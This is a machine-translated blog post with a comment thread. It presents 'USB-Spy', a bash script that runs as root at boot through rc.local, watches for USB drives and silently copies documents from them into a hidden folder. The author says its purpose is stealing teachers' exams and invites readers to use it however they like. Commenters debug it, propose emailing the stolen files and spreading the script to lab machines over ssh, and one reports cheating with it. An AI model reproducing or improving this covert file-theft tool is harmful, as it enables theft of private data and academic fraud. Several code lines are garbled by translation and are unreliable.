Skriptu za špijuniranje sadržaja USB uređaja i kopiranje na računar

Uvijek sam bio nemiran student, uvijek sam želio iskoristiti prilike poput ... na primjer, kopiranje semestarskih ispita s učiteljskog USB sticka ili slično. Kada sam pohađao srednju školu (računarstvo), želio sam programirati „nešto“ što bi radilo sljedeće:

  1. Otkrivanje kada je USB uređaj povezan sa računarom u učionici
  2. Kopirajte sav sadržaj s tog uređaja na svoj računar

To bi mi omogućilo polaganje ispita mnogo ranije, bilo bi potrebno samo da nastavnik poveže svoju USB memoriju (pendrive) sa računarom i to je to.

Nažalost, u mom institutu računari su imali Windows i ... Nikad i nikada nisam naučio da programiram za ovaj OS.

Međutim, sada koristim Linux (očito ne? LOL!), I sa znanjem koje sam kroz ove godine uspio steći, sada DA! To već mogu postići s Linuxom 😀

Drugim riječima, programirao sam jednostavnu skriptu koja čini sljedeće:

1. Kreirajte mapu /home/.USBDRIVES/
2. Svakih 5 sekundi provjerava postoji li USB uređaj (ili CD / DVD) povezan s računarom.
3. U slučaju da je jedan povezan, stvorit će mapu unutar /home/.USBDRIVES/ s imenom USB-a (na primjer: memorija-2gb), a također će kopirati sve datoteke .doc, .pdf itd. (ovdje je lista) u ovu mapu koju ste upravo kreirali.
4. U slučaju da nije povezan USB, on će jednostavno pričekati 5 sekundi da započne provjeru koju sam gore objasnio 😀

Evo skripte i datoteke koja sadrži formate za kopiranje:

Preuzmite USB-Spy.zip
Skripta se mora izvršiti kao root, tako da njen rad nije ograničen. Ovdje objašnjavam kako to postići

Kako bi skripta mogla raditi bez problema, najbolje je da se pokreće s administratorskim privilegijama (root), jer je očito da je treba pokrenuti zajedno s računarom, na taj način osiguravamo da ako je računalo ponovo pokrenut ili isključen, kad ponovo pokrenem skriptu, ona će biti tamo u radu, spremna da izvadi sve što želimo s bilo kojeg USB-a

Otvorimo terminal ... jednom otvoren ...

1. Pretpostavimo da imamo obje datoteke / opt / (/opt/usb-spy.sh y /opt/usb-spy.files), moramo mu dati privilegije izvršenja:

sudo chmod +x /opt/usb-spy.sh

2. Otvaramo datoteku /etc/rc.local :

sudo nano /etc/rc.local

3. U njemu pišemo iznad završnog retka (izlaz 0) sljedeći:

/opt/usb-spy.sh &

4. Sada pritisnemo [Ctrl] + [X] da spremimo i izađemo iz datoteke, pritisnemo [S] ili [Y] (ovisno o jeziku sistema), a zatim [Enter]. To će biti dovoljno da se promjene koje smo napravili sačuvaju.

I voila, ovo će biti dovoljno da se skripta pokrene kao root kada uključimo računar.

Važno je provjeriti je li datoteka usb-spy.files je u istom direktoriju kao i usb-spy.sh ????

Sad ... Objasnit ću vam malo o unutrašnjem radu scenarija, jer znam da ovdje ima puno ljubitelja Basha

Q: Kako skripta zna da je povezan USB uređaj?
O: U datoteci / etc / mtab našeg sistema nalaze se uređaji ili particije koji su montirani na naš sistem. Kroz red 23 skripte poznato je da li je USB povezan ili nije (stvaranje mačke za mtab i grep medije)
P: Da, ali Kako skripta zna da li nam mačka i grep vraćaju neke podatke ili ne?
O: Kroz a ako, onda, else petlja koja počinje na liniji 24.
Q: Kako ga natjerati da kopira samo datoteke sa željenim nastavcima? (.doc, .pdf itd.)
O: Koristeći rsync s raznim parametrima, ovo je na liniji 34. Jednostavno objašnjeno, s rsync kopiram samo datoteke koje se podudaraju s usb-spy.files filtrom, svaki redak je takoreći filter. Također prosljeđujem parametar --prune-empty-dirs na rsync tako da mi ne stvara prazne direktorije.
Usput nešto važan. Ako je povezan 8 GB USB uređaja (na primjer), sve funkcionira ispravno, ali primijetio sam da ako je povezan uređaj s mnogo većim kapacitetom, poput 500 GB ili 1 TB, postupak traženja .doc datoteka i slično za njihovo kopiranje računaru je trebalo dugo, pa sam stavio ograničenje od GB. Odnosno, u retku 31 izjavljujem da ako je USB uređaj manji od 16 GB, potražite datoteke i kopirajte ih, ali ako je veći od 16 GB, onda nemojte ništa raditi. Ako želite povećati tih 16 GB za 32 GB, samo povećajte taj broj iz linije 31

Zapravo nema puno toga za objasniti, skriptu je zaista jednostavno razumjeti :)

Ako bilo tko sumnja ili pita, prigovor, ideju ili prijedlog, molim vas da to kaže i obećavam da ću mu pomoći koliko god budem mogao.

Pa, razmišljao sam da stavim nešto poput: «ova skripta je samo u obrazovne svrhe, nemojte je koristiti sa štetnim datotekama»... Ali ... dovraga!, Iskoristite to što god želite, vrijeme je da učenici imaju neku vrstu prednosti u odnosu na učitelje koji nas ugnjetavaju 😀

Saludos

Još uvijek možete napraviti više poboljšanja u scenariju, ali dobro, mislim da je ovo dobar početak, ako se netko osjeća motiviranim da doprinese ovom "plemenitom" uzroku, biće mu zadovoljstvo 😀

Sadržaj članka pridržava se naših principa urednička etika. Da biste prijavili grešku, kliknite ovdje.

92 komentara, ostavi svoj

Ostavite komentar

Vaša e-mail adresa neće biti objavljena. Obavezna polja su označena sa *

*

*

  1. Za podatke odgovoran: Miguel Ángel Gatón
  2. Svrha podataka: Kontrola neželjene pošte, upravljanje komentarima.
  3. Legitimacija: Vaš pristanak
  4. Komunikacija podataka: Podaci se neće dostavljati trećim stranama, osim po zakonskoj obavezi.
  5. Pohrana podataka: Baza podataka koju hostuje Occentus Networks (EU)
  6. Prava: U bilo kojem trenutku možete ograničiti, oporaviti i izbrisati svoje podatke.

  1.   elav rekao je

    Varalica ¬¬

    XDDDD

    1.    KZKG ^ Gaara rekao je

      Ma ne, uopće ... ako ste u nekom trenutku sigurno pomislili učiniti nešto takvo ... HAHAHA.

      1.    Ivan Molina rekao je

        Spasio si me od pop kviza 😀 ... Sada si tvoj «KZKG ^ Gaara» Ti si moj bog ... Hvalim te!

    2.    Facundo rekao je

      Pozdrav, vrlo dobra skripta, ali u mega fajlu više ne postoji, možete je poslati na moj e-mail

  2.   oscar rekao je

    Linux je 1%, a vi kažete da nikada niste naučili programirati za Windows, tako da je podučavanje za linux sistem, moje pitanje je: koja je mogućnost pronalaska nastavnika koji koristi linux za izvođenje poduka?

    1.    KZKG ^ Gaara rekao je

      Ova skripta ili trik se "implementira" na računaru koji ne mora nužno biti lični ili profesorski, dovoljno je da to bude bilo koje računalo sa univerziteta ili koledža, tada bi to bilo moguće postići samo do X ili Y razlog što profesor povezuje vaš USB na tom računaru.

      Da, jeste za Linux, ali mnogi univerziteti imaju Linux kao sistem u računarskim laboratorijama, kao i pokretanje sa LiveCD-om, a ne nužno instaliranje Linuxa na PC PC

      O 1%, preporučujem vam da pročitate ovaj post: https://blog.desdelinux.net/debunking-the-1-percent-myth-traducido-al-espanol/

    2.    Hyuuga_Neji rekao je

      Mogućnost pada gigantskog meteorita na Atlantik za otprilike 30 minuta

  3.   josh rekao je

    Izgleda zanimljivo, morat će se isprobati.
    hvala

    1.    KZKG ^ Gaara rekao je

      Uslužni program koji ima nije sjajna stvar, ali skripta kao takva je zanimljiva ... jer iz nje možete naučiti nekoliko savjeta, na primjer kako znati povezani USB, veličinu particija itd. 🙂

  4.   cr0t0 rekao je

    Izvorni i vrlo dobro objašnjeni članak KZKG ^ Gaara. Živjeli!

    1.    KZKG ^ Gaara rekao je

      Hvala

  5.   Oscar rekao je

    Kakva drskost !!!, a vi se usudite to napisati na blogu OO, ne znam šta da mislim, je li neko ko ga ne voli dobro hakirao Gaaru?

    1.    KZKG ^ Gaara rekao je

      drskost? zašto?
      Iako svrha ili motiv skripte možda nisu toliko ozbiljni kao ostatak mojih doprinosa, mislim da skripta, njeni redovi i programska logika mogu puno doprinijeti.

      Možete iskoristiti nekoliko stvari iz ove skripte:
      1. Kako znati veličinu particije i učiniti ovo promjenljivom.
      2. Kako provjeriti je li povezan USB i izvući njegovu putanju i ime.
      3. if-then-else i while petlje.

      U svakom slučaju, mislim da ovo nije potpuno beskorisno ili nešto slično.

      1.    Oscar rekao je

        Mislim da ste pogrešno protumačili moj komentar, mislim na početku vašeg članka,
        "Uvijek sam bio nemiran student, uvijek sam želio iskoristiti prilike poput ... na primjer, kopiranja semestarskih ispita iz nastavnikove olovke ili slično." Ako vam smeta ono što kažem, nadam se da ćete me izviniti, nije mi bila namjera.

        1.    Blaire pascal rekao je

          oO kakav izvrstan blog, dobri članci, dobri čitatelji, korisnici se izvinjavaju ... raj je lol bez trolova.

          1.    KZKG ^ Gaara rekao je

            hvala ^ - ^
            Ponosni smo na ono što smo postigli do sada, ova zajednica je zaista ponosna ... sjajno je biti dio svega ovoga 😀

        2.    KZKG ^ Gaara rekao je

          Ne ne, nikako, nisam se uopće trudio xD
          I da hehe, bila je moja greška što sam pogrešno protumačio vaš komentar hehehe, izvinite na tome 😉

          Ništa što isprike sada dolaze od mene, morat ću oprati lice da vidim da li sam se probudio ... koliko vidim, još uvijek nisam 100% HAHAHA.

          Pozdrav prijatelju 🙂

        3.    Oscar rekao je

          Vrlo fina osoba xD

  6.   Neomito rekao je

    Volio bih da moji fakultetski računari imaju Linux muhahahjaja.

  7.   GGGG1234 rekao je

    Dobar članak!
    Ali onaj ko to želi imitirati u sustavu Windows bit će lakši, jer tamo gdje nemate root pristup na mašini koju želite koristiti, ne možete ga ostaviti "zauvijek". Sa Windowsom se to ne događa 😉

  8.   Blaire pascal rekao je

    Jako dobro hehe.

  9.   Hyuuga_Neji rekao je

    Ideja je dobra, ima samo slabost da mora koristiti Root privilegije

    1.    KZKG ^ Gaara rekao je

      Pa, zapravo ne trebate biti root kao takav ... ako skripti izjavite da mapa NEĆE biti /home/.USBDRIVES kako sam rekao, a na primjer kaže: /home/usuario/.USBDRIVES ..., a zatim izvršite skripta s "user" bit će dovoljna 😀

  10.   Emilio rekao je

    To je dobra ideja, ali mislim da biste se uštedjeli mijenjajući rc.local i pokrećući ga svake minute kroz crontab, a time izbjegavate problem pokretanja kao root i ostatak, s druge strane, iako to ne utječe puno, beskorisno trošite memoriju računara svakih 5 sekundi da provjerite je li usb, čak i kad nije. Pa to je moje stanovište

    1.    KZKG ^ Gaara rekao je

      Mislim, provjerite svake 1 minute, zar ne? Nisam to učinio tako jer ... što ako je USB povezan i isključen za manje od 1 minute? 😀

      Radije sam to radio svakih 5 sekundi kako bih bio siguran da stvarno "hvatam" sve USB-ove 😉

      Ako sam vas pogrešno razumio, ispravite me 🙂

      Pozdrav i dobrodošli.

      1.    Emilio rekao je

        Da, provjerite svaku minutu kroz cron, ali dobro, svaki ima drugačiji način uočavanja problema, ništa više nego gledanje koda, ne bi bilo bolje provjeriti postoji li mapa /home/.USBDRIVES prije nego što je kreirate , je prijedlog ništa više

        Saludos

        1.    KZKG ^ Gaara rekao je

          Da također, to je detalj koji sam primijetio, ali ... bio sam lijen da ga riješim LOL!

          Isto tako, mogao bih staviti dnevnik u kojem su prikazane datoteke koje su kopirane (pojedinačni dnevnik za svaki uređaj), možda čak i poslati ovaj dnevnik e-poštom (koristeći neki način slanja e-pošte terminalom od onih koje sam stavio ovdje na web mjestu) ... ali kao što sam vam rekao, pomalo sam lijen ^ - ^ U

  11.   Pavloco rekao je

    Hahaha super.

  12.   hexborg rekao je

    AHA! Dakle, vaš softver se može koristiti za zlo. LOL!!! 🙂

    Trik je u redu, ali ... što ako želite isključiti USB prije nego što skripta završi s kopiranjem svog sadržaja? U tom će se slučaju žaliti da je u upotrebi i primijetit će da nešto nije u redu. 🙂

    1.    KZKG ^ Gaara rekao je

      Zapravo, sistem neće dopustiti demontažu USB-a jer će ga "nešto" koristiti 😉

      1.    hexborg rekao je

        Tačno! I tada Oscarov profesor misli da je pronašao linux virus. LOL!! 🙂

  13.   Oscar rekao je

    Jednom ste me natjerali da se sjetim da sam radio nešto slično (na svojoj Uni ako smo imali linux / windows), ali napravio sam C program koji je generirao hiljade mapa. Tapacirao sam USB momku koji ga je priključio. Voditelj računarskog centra bio je zapanjen! Mislio je da je pronašao virus u linuxx muajajajaja ... ahhh .. koja su to vremena bila =)

    1.    Miguel rekao je

      i koja je razlika sa virusom?

      1.    Oscar rekao je

        Da sam daljinski došao do njegovog USB-a i pokrenuo program 😛

        1.    Miguel rekao je

          hahahaha, pa bio je to hack XD

    2.    KZKG ^ Gaara rekao je

      ????
      hehehehehe, pa našli ste virus u Linuxu, zar ne? … LOL!!

  14.   Semproms rekao je

    Jednostavno mi ne ide xD, ako ga pokušam pokrenuti s terminala, kaže mi ovo: ./usb-spy.sh: linija 31: [: -lt: očekuje se unary operator
    Čini se da nešto nije u redu s ovom linijom: if [$ USBSIZE -lt 15664800]; onda
    Ali ne znam što je to, jer ne stvara i .USB direktorij.

    Ako se to može riješiti, mogu pronaći korisnu skriptu.

    1.    hexborg rekao je

      Pokušajte zamijeniti df sa / bin / df i pobrinite se da ga pokrenete kao root.

      1.    Semproms rekao je

        Ok, sada ako kreira .USB mapu unutar kućnog direktorija, ali mi stalno govori preko terminala da: "./usb-spy.sh: red 31: [: -lt: očekuje se unarni operater" i ne kopira ništa, u toj liniji mora biti sukoba, cijenim pomoć ako je netko vidi.
        Hvala lijepo.

        1.    hexborg rekao je

          Možete li nam dati sadržaj vaše / etc / mtab datoteke kada je USB priključen?

          1.    Semproms rekao je

            Naravno, evo:

            / dev / sda12 / ext4 rw, greške = remount-ro 0 0
            proc / proc proc rw, noexec, nosuid, nodev 0 0
            sysfs / sys sysfs rw, noexec, nosuid, nodev 0 0
            nema / sys / fs / osigurač / veze fusectl rw 0 0
            none / sys / kernel / debug debugfs rw 0 0
            none / sys / kernel / security securityfs rw 0 0
            udev / dev devtmpfs rw, način rada = 0755 0 0
            devpts / dev / pts devpts rw, noexec, nosuid, gid = 5, mode = 0620 0 0
            tmpfs / pokreni tmpfs rw, noexec, nosuid, veličina = 10%, mod = 0755 0 0
            ništa / pokreni / zaključaj tmpfs rw, noexec, nosuid, nodev, veličina = 5242880 0 0
            ništa / pokreni / shm tmpfs rw, nosuid, nodev 0 0
            binfmt_misc / proc / sys / fs / binfmt_misc binfmt_misc rw, noexec, nosuid, nodev 0 0
            / dev / sdb1 / media / DOCU403 vfat rw, nosuid, nodev, uid = 1000, gid = 1000, shortname = m $

            Posljednji su redovi ugrađenog USB / dev / sdb1

          2.    hexborg rekao je

            Da vidimo jesmo li ga dobili. 🙂

            Dajte nam izlaz naredbe df. I pokušajte dodati redak:

            echo $ USBSIZE

            Ispred if ako to stvara problem i recite nam šta se pojavi prilikom pokretanja skripte. To bi trebalo izgledati ovako:

            USBSIZE = `/ bin / df | grep $ USBDEV | awk {'ispisati $ 2'} `
            echo $ USBSIZE
            ako [$ USBSIZE -lt 15664800]; onda

            I za svaki slučaj, također nam recite koji je izlaz koje df naredbe.

            1.    Semproms rekao je

              Ok, dijelom, naredba df mi ovo vraća:

              Datotečni sistem 1K-blokovi Korišteno Dostupno Koristite% Montirano
              / dev / sda12 54082300 45246956 6125892 89% /
              udev 2004028 4 2004024 1% / razv
              tmpfs 805768 1180 804588 1% / trčanje
              nema 5120 0 5120 0% / pokretanje / zaključavanje
              nema 2014420 92 2014328 1 XNUMX XNUMX% / trčanje / shm
              / dev / sdb1 1023200 322256 700944 32% / media / DOCU 3

              Naredba koja mi vraća df: / bin / df

              Zatim sam stavio eho $ USBSIZE, a rezultat je isti, ne ispisuje ništa novo, ali greška od prije, smiješno je to što se to događa s USB-om koji testiram, ako stavim 500 GB vanjski tvrdi disk Da, vraća veličinu diska na ekranu, ali 500 premašuje 16 od if, stoga s tvrdim diskom ne radi ništa.

              Ali s USB-om ne radi ništa, osim što pokazuje grešku: ./usb-spy.sh: linija 34: [: -lt: očekuje se unarni operater
              Kao da ne može prikazati veličinu USB-a, ali pomoću naredbe df dobivam njegovu veličinu.

              Hvala na pomoći, da vidimo možemo li je dobiti!


            2.    Semproms rekao je

              U slučaju da naredba ovdje nije izgledala dobro, ostavljam snimak zaslona: http://i48.tinypic.com/j5dvn5.jpg


          3.    hexborg rekao je

            Vidim da je u mtabu staza na kojoj se čini montirana "/ media / DOCU403", dok se u df pojavljuje "/ media / DOCU 3". Zbog toga ga grep ne može pronaći i ne vraća veličinu. Pokušajte promijeniti prve redove fora tako da izgledaju ovako:

            za USBD u `cat / etc / mtab | grep media | awk '{print $ 1}' '';
            do
            USBDEV = `mačka / etc / mtab | grep $ USBD | awk '{print $ 2}' ''
            USBSIZE = `/ bin / df | grep $ USBD | awk {'ispisati $ 2'} `

            Promjene se sastoje u promjeni imena varijable for u USBD, promjeni $ 2 na kraju retka for u $ 1, umetanju retka koji započinje s USBDEV neposredno nakon učinka i promjeni USBDEV u USBD u retku koji započinje s USBSIZE ... Nadam se da se nisam zeznuo. 🙂

            Ideja je uraditi for prema imenu uređaja umjesto prema točki montiranja.

            1.    KZKG ^ Gaara rekao je

              Problem je bio u tome što u mtabu kada uređaj ima razmake ... na crtu stavlja neke "čudne" znakove, posebno na mjesto razmaka.

              Ništa tako jednostavno za rješavanje kao promjena načina na koji je $ USBDEV određen, u liniji 28 to promijenite i stavite ovako:
              for USBDEV in `df | grep media | awk -F / {'print $5'}` ;

              ????


          4.    Atheyus rekao je

            Da vidim mogu li vam pomoći ...

            Unarni operator to prikazuje jer ne pronalazi veličinu diska, to se događa zato što ga ne provjerava, to se događa zato što je pozvan

            DOCU 3

            i uzima to kao dvije vrijednosti, da je DOCU ne bi otvorio problem

            Možda će ovo upaliti za vas

            http://www.itimetux.com/2012/11/manejar-archivos-o-carpetas-con-espacios-en-unix.html

            Pozdrav 🙂

            1.    Semproms rekao je

              Zapravo je to problem, jer upravo sam pokušao s drugim USB-om koji imaju ime s riječju bez razmaka, primjer "klase" i skripta radi bez problema, zato je prepoznao tvrdi disk, a ne sjećanja, ali sada je stvar u tome Znajući kako stavljam citate u kod skripte, moram li ih staviti na "$ USBNAME"?

              Veliko hvala Atheyusu i Hexborgu na pomoći, skoro je gotova.


          5.    KZKG ^ Gaara rekao je

            Zapravo Semproms vrlo je jednostavno popraviti 😉
            Linija 28 ... promijenite je u ovo:
            for USBDEV in `df | grep media | awk -F / {'print $5'}` ;

            Upravo sam izvršio test s ovom promjenom i dobro funkcionira na uređajima čija oznaka / naziv ima razmak :)

            Sada ću izvršiti promjenu u skripti za preuzimanje.

          6.    hexborg rekao je

            Veoma dobro. Tako je lako popraviti. 🙂

  15.   AurosZx rekao je

    Ohhh, vrlo domišljato take Primit ću bilješku u slučaju da trebam ...

  16.   Semproms rekao je

    KZKG ^ Gaara, s tim aranžmanom to savršeno funkcionira, sada ako kopiram USB s razmakom u imenu, hvala svima na pomoći, pokušat ću provjeriti mogu li pokrenuti sistem uz pokretanje sistema i na taj način Provjerite svaki ciklus je li povezan USB.

    Na kraju smo to postigli xD.

    1.    KZKG ^ Gaara rekao je

      ^ - ^ ... lijepo hehe.
      Problem je bio u tome što sam koristio mtab za prepoznavanje USB-a, jednostavno sam mogao koristiti df ... Koristio sam mtab jer sam mislio da bi im bilo zanimljivo objasniti ovu datoteku, da je oni znaju, ali nisam predvidio da će se ta greška dogoditi kod uređaja s razmacima, hahaha.

      Ako imate bilo kakvih pitanja ili problema, gotovo svi ovdje vole pomoći xD

      Saludos

    2.    hexborg rekao je

      Naravno. Mi smo Linuxeri. Uvijek ga dobijemo. XD.

  17.   Yeretik rekao je

    Instalirajte demon na nastavnikov PC koji generira zapis svih .doc, .docx, .odt, .pdf i šalje vam ih poštom. Uz povremeno skeniranje računara u potrazi za promjenama, novim datotekama ili brisanjima u navedenom registru, anet će vam i bilo kakve vijesti poslati modificiranu ili novu datoteku poštom.

  18.   Yeretik rekao je

    U svakom slučaju, mislim da je izvršavanje te skripte (I KORENO !!!!) više od ulova samoubistvo. Olakšavate život i stvari 700% svima onima koji su zainteresirani za umetanje datoteke na svoj računar s root dopuštenjima i svime. Imajte na umu da u Linuxu nema proširenja i da .doc u Linuxu može biti isto što i tekst, video ili još gore, skripta (ovaj put s vrlo lošim namjerama).

    1.    KZKG ^ Gaara rekao je

      Pokretanje kao root nije potpuno potrebno, samo definirajte mapu u koju će se sadržaj negdje smjestiti da pokrenuti korisnik ima dozvole za pisanje (na primjer, vlastiti dom) i to je to 🙂

      Na opasnim datotekama ... pa, mogli biste dodati neke redove koji bi chmod -x svim datotekama, čime bi se izgubilo svojstvo izvršenja.

      1.    Semproms rekao je

        Dodao sam ove redove na početku da izbrišem mapu .USBDRIVES ako je već kreirana:

        ako [-s $ PLACE]
        zatim rm -r $ PLACE
        fi

        Na ovaj način, neće se pojaviti greška "direktorija koji već postoji", odnosno ako morate paziti da u mapi .USBDRIVES nema ničega što ne želimo izbrisati, jer će ga izbrisati i staviti drugi na svom mjestu.

  19.   Danijel rekao je

    Da biste dodali nove formate datoteka, samo ih napišite na usb-spy? na primjer .jpg .mp3 itd.

    1.    KZKG ^ Gaara rekao je

      Da biste dodali nove tipove datoteka, stavite ih u usb-spy.files
      Pogledajte sadržaj datoteke i vidjet ćete kako ih dodati, vrlo je jednostavno 😉

  20.   Wuilmer bolivar rekao je

    Ako smo na istoj mreži, a postoji učiteljski stroj, zanimljivo bi bilo napraviti mapiranje mreže, možda imamo ssh na mašinama i na taj način distribuiramo kôd na laboratorijskim mašinama ili čak na učiteljevom stroju ... . To mi daje jako puno ideja: $

  21.   xiler rekao je

    Pozdrav, čestitam vam na postu i svim vašim doprinosima, ali imam pitanje da vidim može li netko riješiti ovaj problem umjesto mene:

    Testirao sam vašu skriptu na računaru s ubuntu 12.04LTS (s Unity) i djelovalo je savršeno, ali kako sam vidio da se ova skripta prestala izvršavati nakon prvog pokretanja, jer je mapa .USBDRIVES već kreirana, Odlučio sam izravno koristiti ovu drugu skriptu vašeg autorstva koja je objavljena u drugom dijelu ovog foruma

    ovdje kopiram skriptu da biste se pronašli

    #! / bin / bash
    #
    # - * - KODIRANJE: UTF-8 - * -
    # Ovaj program je besplatan softver. Možete ga distribuirati i / ili
    # modifikujte ga pod uslovima Opšte javne licence
    br. GNU-a koju je objavila Fondacija za slobodni softver,
    # verziju 2 navedene licence ili (ovisno o vašem
    # izbor) bilo koje kasnije verzije.
    #
    # Ako napravite bilo kakve izmjene na ovoj aplikaciji,
    # uvijek treba spomenuti originalnog autora istog.
    #
    # Copyleft 2012, FromLinux.net {Grad Havana, Kuba}.
    # Autor: KZKG ^ Gaara

    DOK JE = 0

    dok [$ CONTROL = 0]; učiniti
    mačka / etc / mtab | grep media >> / dev / null
    ako [$? -ne 0]; onda
    BROJILO = 0
    drugo
    BROJILO = 1
    : $ {USBDEV: = `mačka / itd / mtab | grep media | awk '{print $ 2}' `` / »}
    cp $ USBDEV / * / home /
    fi
    spavanje 5
    done

    izlaz 0

    Tema je sljedeća u jedinici ubuntu12.04 lts da zadnja skripta dobro radi i radi, ali kada isti PC računar iz "x" razloga poništim i pokušam da funkcionira u ubuntuu 10.10 ne, mogu ga natjerati da radi
    S jedne strane, baca grešku i ne čita pogone olovke koji imaju složeno ime, na primjer: DATA-G, niti kopira datoteke koje imaju složeno ime. Osim ovog problema, imam problem što se skripta izvršava samo kada se računalo jednom ponovo pokrene.

    Pitanje bi bilo: kako mogu natjerati tu skriptu da kopira pogone i datoteke sa složenim imenima
    i ako koristim crontab ili mogu da zakažem da radi u određeno vrijeme

    Još jedan detalj, u Ubuntu 10.10, jer koristi Gnome, želio bih dodati neka ograničenja koja treba uzeti u obzir, kada daje privilegije izvršenja skripti, mora se nalaziti u /etc/init.d, a ne u / etc /
    (Uzmite u obzir da ga morate zalijepiti tamo stižući s terminala sa sudo nautilus)

    s druge strane, druga dimenzija bi bila da nakon što je zalijepite tamo da biste vidjeli može li se izvršiti, to se mora učiniti na drugom terminalu

    sudo su (biti root)
    lozinka

    ls

    cd / etc / init.d

    ls -l

    i tamo skačemo trči li ili ne

    zatim na istom terminalu ili u drugom terminalu u neko drugo vrijeme kao root i koji se nalazi u etc / init.d (tj. do koraka cd / etc / init.d) kao u prethodnom terminalu nastavljamo kako slijedi kako bismo mu dali dozvole izvršenje

    sudo chmod + x script.sh

    zadane vrijednosti update -rc.d script.sh 80

    reboot

    Ponavljam, to je tako da se automatski izvršava u ubuntu 10.10 ako je druga verzija poput 12.04 morate učiniti ono što KZKG ^ Gaara kaže

    I posljednje pitanje, kako želim kopirati sadržaj (do 3 podmape pendrive-a) u dom ili u skrivenu kućnu mapu ili ne, pretpostavimo da je bio .USBDRIVES
    u kodu ne bih morao reći

    cp -r /media/*/*/*/home/.USBDRIVES/*

    Ukratko, kako bih dobio ono što želim, kako scenarij treba ostati?
    Jer sam već pokušao modificirati liniju koju su oni modificirali na usb-spy sh, ali na onu drugu koja snima direktno u kući i baca grešku na modificiranu liniju.? Pozdrav. Hvala ti

  22.   Kakashi rekao je

    Ne mogu preuzeti drugu skriptu

  23.   metalus rekao je

    Veoma dobro. 😉

  24.   Kamaleon rekao je

    A ako ne napravim korake koje ste vi uložili, šta će se dogoditi? Ne radi li ili se samo pokreće, ali bez root-a? Ako računari imaju sistem za koji kažemo da obnavlja sve interne konfiguracije računara prilikom isključivanja, hoće li raditi? Hvala ti.

    1.    KZKG ^ Gaara rekao je

      U slučaju da sistem ima 'nešto' što je prema zadanim postavkama postavljeno na / home / folder, morate izmijeniti skriptu, gdje piše / home / promijenite je u / opt / ili u neku drugu mapu koja nije pogođena.

  25.   gambi rekao je

    Mislim da bi za poboljšanje skripte i izbjegavanje uočavanja upada u pendrive optimalno bilo odrediti vrstu datoteke, veličinu datoteke. Na primjer, velike datoteke veličine 100 megabajta ili više ostavite za kraj. Ili prvo kopirajte datoteke doc, docx, txt, pdf, xml, ... itd itd itd i ostavite avi, mp4, mkv datoteke za kraj ...

  26.   lucas rekao je

    Zdravo, ideja je dobra. Želio sam postaviti dva pitanja:
    - Može li se to raditi obrnuto? napravite skriptu za penderiver, da se ona poveže sa bilo kojim uređajem i izdvoji datoteke.
    - radi za Windows OS?

    1.    KZKG ^ Gaara rekao je

      zdravo,

      Nisam siguran kako se to moglo učiniti da isti pendrive prilikom povezivanja pendrivea sam izvrši skriptu koju ima unutra.

      I ne, ova skripta ne radi za Windows 🙂

      1.    LUCAS rekao je

        Ok, hvala što ste mi odgovorili, istražit ću kako to učiniti

  27.   Jose Damian Bazaga Ruiz rekao je

    Kakav dobar scenarij. Analizirao sam ga i čini mi se nevjerojatnim, nadam se da bih jednog dana mogao napraviti i takve praktične scenarije.

  28.   jose rekao je

    Izvrstan doprinos, iako uslužni program koji ću mu dati nije baš ono zbog čega ste ga podigli, ako ga koristim za sigurnosne kopije datoteka grupe korisnika, loše ponašanje koje imam ... hehehehe….

  29.   enbudle rekao je

    kad pokušam pokrenuti, daje mi ovu liniju greške 31: [: previše argumenata
    uklonite tu liniju da vidite da li radi. i ispostavilo se da je linija ta koja ograničava veličinu uređaja.
    prilikom uklanjanja kopira ono što imam u montiranim particijama 🙁

  30.   Valente rekao je

    Bok, nov sam i znam da je lonac star, ali svidio mi se puno, tvoj je scenarij vrlo poučan

    Hvala vam što ste ga podijelili i detaljno objasnili ...

    Pozdravi

  31.   doltrox rekao je

    Prijatelju, spasio si me, morao sam samo odvratiti pažnju nastavnika i umetnuti USB u svoj laptop, a onda hahahaaj položio ispit i bilješke iz svih hehehe

    1.    Oetam222 rekao je

      Možete li mi dodati skriptu, veza je dolje

    2.    Oetam222 rekao je

      Možete mi proslijediti skriptu na kojoj je veza dolje

  32.   Worm2D2 rekao je

    kzkggaara, možeš li ponovo poslati datoteke? veze su prema dolje: /, puno vam hvala

  33.   bastian rekao je

    Možete li učitati linkove, molim vas?

  34.   Necr0 rekao je

    čuje! ujače! imate pale pohvale da biste ih mogli ponovo podići!
    UREDU! : v

  35.   Necr0 rekao je

    Pa, ponovim to, jer ne znam je li preneseno ono što sam želio reći….

    Pa, imate veze dolje i možete ih učitati!

  36.   Rlorau rekao je

    Veze su dolje !!!

  37.   Developer24 rekao je

    Ponovo pošaljite linkove, molim vas @usemoslinux Istražujem o tome, hvala!

  38.   Anónimo rekao je

    Skriptu možete preuzeti ovdje. Mislim da je to isto

    https://mega.nz/#!yQR1BQTb!FoYoopZ11WSstQaqX1flxhm1t4jCKOI9jj8VIxIBrxk

  39.   Huan rekao je

    Dobro onda….

    S moje skromne točke gledišta smatram da je to sjajan članak, pa ako postoje ljudi koji kažu da ste varalica, onda mislim da je to u skladu sa svrhom za koju koristite program.
    Meni se osobno više svidjelo što znam programski jezik za linux jer sam radio samo u javi, hvala prijatelju, pobudili ste me da znam više o jeziku za linux.

    Zahvaljujem vam.

  40.   Hecorat rekao je

    Pozdrav prijatelji, jer sam pronašao drugi način da koristim ovu skriptu je stvaranje sigurnosne kopije, malo ću o tome, imam dva uređaja, kameru i hdd, ono što želim je da umjesto snimanja datoteka lokalne datoteke sačuvaju ih na vanjskom HDD-u od kamere do HDD-a, ali to mi daje grešku koja kaže "previše argumenata", možete li mi pomoći

  41.   LUIS GERARDO POLANCO VERA rekao je

    Radi samo na uređajima s linux operativnim sistemima?

  42.   Testiranje rekao je

    Neka neko podigne, molim vas!

  43.   Gazlene rekao je

    Pozdrav, nemam linux i u mojoj školi koriste Windows, koristio sam aplikaciju sa usb snimanja i kopiram samo 5 datoteka iz memorije nastavnika, pretpostavljam da usb ima zaštitu, jer se ista stvar dogodila dva puta, bit će i neki drugi način za oduzimanje kompletnih podataka s tog USB-a?

  44.   Zaraki rekao je

    Idite ako kažete da će kôd biti jednostavan, jer čini se vrlo zanimljivim vidjeti kako metode djeluju kako bi se vidjelo je li USB povezan ili veličina particije. Šteta što su uklonili mega.nz skriptu, možete li je ponovo poslati?

    Pozdrav i sjajan posao, jednostavan, ali funkcionalan čak i za automatizaciju kopija sa USB-a !!!

  45.   Pauze rekao je

    Dobro!
    Upravo sam ušao u vaš blog i stvarno sam zainteresiran. Ono što se događa je da kada kliknete na .zip datoteku koja vas preusmjerava na mega, to znači da datoteka više nije dostupna.
    Zanimalo me biste li mi mogli poslati one datoteke koje bi trebale biti preuzete.
    Puno hvala i pozdrav!

